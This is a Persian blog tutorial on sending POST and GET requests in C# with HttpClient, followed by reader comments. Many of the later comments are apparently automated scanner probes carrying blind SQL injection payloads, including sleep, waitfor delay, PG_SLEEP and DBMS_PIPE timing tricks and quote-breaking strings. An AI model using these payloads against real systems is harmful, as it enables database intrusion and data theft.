ویدئو های پربازدید سایت

ارسال درخواست post و Get در سی شارپ با .Net 4.5

در این پست قصد داریم طریقه ارسال درخواست های POST و Get را با سی شارپ آموزش دهیم 

قبل از آغاز بهتر است بگوییم این آموزش برای نسخه 4.5 و بالاتر .Net هست و اگر شما قصد دارید اینکار را برای نسخه پایین تر انجام دهید از این آموزش استفاده کنید.

 

ابتدا نیاز است تا فضای نامی زیر را به پروژه خود اضافه کنید

using System.Net.Http;

سپس بصورت زیر عمل میکنیم تا یک درخواست به سرور ارسال کنیم :

private static readonly HttpClient client = new HttpClient();

// برای ایجاد هندلر ارسال و دریافت درخواست به سرور


// فیلد هایی که قرار است به سرور ارسال کنیم

var values = new Dictionary<string, string>
{
   { "Name", "Adel Parsa" },
   { "Website", "Hypersource.ir" }
};

var content = new FormUrlEncodedContent(values);

var response = await client.PostAsync("http://PostSitetarget.ir", content);

// دریافت پاسخ یا خروجی درخواست
var responseString = await response.Content.ReadAsStringAsync();

 

فقط دقت کنید که این مورد به شیوه async/await نوشته شده و اگر متد های شما از نوع Async نیست فقط کافی است که کلمه های Await را حذف و بجای ان به آخر توابع .Result را اضافه کنید، برای مثال خواندن به این صورت تغییر پیدا میکند.

HttpResponseMessage msg =  cli.PostAsync("http://targetPostSite.ir",content).Result;

 

ارسال درخواست post و Get در سی شارپ با نسخه های پایین .Net

در صورتی که سوالی راجع به این آموزش دارید در بخش نظرات همین پست مطرح و از ارسال ان از بخش ارتباط با ما خود داری نمائید


;

احسان معالی امیری پاسخ

با سلام و عرض خسته نباشید
ممنونیم که اطلاعات آموزشی ارزشمندی را در اختیار ما میگذارین
من قطعه کد فوق رو اجرا کردم منتها داده ها به سمت سرور ارسال نمیشن
زمانی که خروجی دستور رو میگیرم پیام http200 میده و سرور تایپ رو درست تشخیص میده ولی متاسفانه داده ها رو سرور تحویل نمی گیره
لطفا در صورت امکان راهنمایی بفرمایید
با تشکر
1398/11/25 22:32

عادل پارسا

http 200 یعنی درخواست انجام شده و سرور پاسخ درست رو داده
سرور بصورت لوکال هست یا بر روی آی پی یا سیستم دیگه ای قرار داره ؟
و اینکه درخواست رو یکبار بر روی یک سرویس دیگه تست کنید ببینید مشکل از ارسال هست یا دریافت سرور
1398/11/27 11:37

مصطفی درویشی پاسخ

سلام
خسته نباشید
آقا خیلی ممنونم از مطلب خوبتون
خیلی ساده و قابل فهم توضیح دادین که برای کسانی که با مفاهیم وب آشنایی ندارن به راحتی قابل اجراست
کارتون خیلی عالیه
ادامه بدین
موفق باشید
ممنون 1399/4/18 21:56

ghovjnjv

e 1401/5/5 15:21

ghovjnjv

e 1401/5/5 15:22

ghovjnjv

e 1401/5/5 15:22

ghovjnjv

-1 OR 2+616-616-1=0+0+0+1 -- 1401/5/5 15:22

ghovjnjv

-1 OR 2+268-268-1=0+0+0+1 1401/5/5 15:22

ghovjnjv

-1' OR 2+95-95-1=0+0+0+1 -- 1401/5/5 15:22

ghovjnjv

-1' OR 2+798-798-1=0+0+0+1 or 'SIhRhqd8'=' 1401/5/5 15:22

ghovjnjv

-1" OR 2+185-185-1=0+0+0+1 -- 1401/5/5 15:22

ghovjnjv

if(now()=sysdate(),sleep(15),0) 1401/5/5 15:22

ghovjnjv

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 1401/5/5 15:22

ghovjnjv

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 1401/5/5 15:22

ghovjnjv

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 1401/5/5 15:22

ghovjnjv

1 waitfor delay '0:0:15' -- 1401/5/5 15:22

ghovjnjv

DROTsSaT'; waitfor delay '0:0:15' -- 1401/5/5 15:22

ghovjnjv

QA1zVWUf'); waitfor delay '0:0:15' -- 1401/5/5 15:22

ghovjnjv

YjTN1Lfn')); waitfor delay '0:0:15' -- 1401/5/5 15:22

ghovjnjv

rhB8GMEa' OR 837=(SELECT 837 FROM PG_SLEEP(15))-- 1401/5/5 15:23

ghovjnjv

aEgNQr6J') OR 286=(SELECT 286 FROM PG_SLEEP(15))-- 1401/5/5 15:23

ghovjnjv

2JF1n5S6')) OR 538=(SELECT 538 FROM PG_SLEEP(15))-- 1401/5/5 15:23

ghovjnjv

e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 1401/5/5 15:23

ghovjnjv

1'" 1401/5/5 15:23

ghovjnjv

1����%2527%2522 1401/5/5 15:23

ghovjnjv

@@53F9M 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

-1 OR 2+885-885-1=0+0+0+1 --

e 1401/5/5 15:23

-1 OR 2+189-189-1=0+0+0+1

e 1401/5/5 15:23

-1' OR 2+177-177-1=0+0+0+1 --

e 1401/5/5 15:23

-1' OR 2+467-467-1=0+0+0+1 or 'lKtLCpYM'='

e 1401/5/5 15:23

-1" OR 2+464-464-1=0+0+0+1 --

e 1401/5/5 15:23

if(now()=sysdate(),sleep(15),0)

e 1401/5/5 15:23

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

e 1401/5/5 15:23

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

e 1401/5/5 15:23

1 waitfor delay '0:0:15' --

e 1401/5/5 15:23

fcJdYGe4'; waitfor delay '0:0:15' --

e 1401/5/5 15:23

3tfpWmBz'); waitfor delay '0:0:15' --

e 1401/5/5 15:23

l3JcKtYI')); waitfor delay '0:0:15' --

e 1401/5/5 15:23

bY6ZJ2xI' OR 20=(SELECT 20 FROM PG_SLEEP(15))--

e 1401/5/5 15:23

OEuKnoir') OR 923=(SELECT 923 FROM PG_SLEEP(15))--

e 1401/5/5 15:23

V8L31Tau')) OR 743=(SELECT 743 FROM PG_SLEEP(15))--

e 1401/5/5 15:23

ghovjnjv'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

e 1401/5/5 15:23

1'"

e 1401/5/5 15:23

1����%2527%2522

e 1401/5/5 15:23

@@YWi0L

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:23

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv

e 1401/5/5 15:24

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ghovjnjv پاسخ

e 1401/5/5 15:23

ویدئو هایی که شاید بپسندید!

هم اکنون نـــظر بدهید

HyperSourCe.ir

info@hypersource.ir

کلیه حقوق برای وب سایت هایپر سورس محفوظ است
CopyRight ©2014-2024
ارتباط با ما
نام شما
ایمیل
موبایل
رمز عبور را فراموش کرده ام

چگونه میتوانم این محصول را با تخفیف دریافت نمایم ؟

لطفا منتظر بمانید. . .

پیام سیستم